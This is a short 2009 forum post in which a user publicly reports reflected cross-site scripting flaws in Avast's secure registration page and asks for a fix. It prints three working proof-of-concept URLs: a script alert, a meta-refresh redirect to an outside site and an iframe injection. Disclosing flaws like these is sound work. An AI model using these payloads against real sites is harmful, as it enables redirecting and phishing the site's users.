Author Topic: Secure Avast website still Not Secure  (Read 1924 times)

0 Members and 1 Guest are viewing this topic.

Methodman

  • Guest
Secure Avast website still Not Secure
« on: March 16, 2009, 01:03:38 PM »
 another critical xss bug was found ,so maybe someone want to check and fix it  ;)

Code: [Select]
https://secure.avast.com/scripts/register.php?lang=?"><script>alert(/XSS/)</script>

redirect:

https://secure.avast.com/scripts/register.php?lang=?">"">>>><meta http-equiv="Refresh" content="0;url=http://nemesis.te-home.net/"> ""

iframe injection:

Code: [Select]
https://secure.avast.com/scripts/register.php?lang=?https://secure.avast.com/scripts/register.php?lang=?'"><iframe src=http://img164.imageshack.us/img164/899/63094193mx7.jpg></iframe>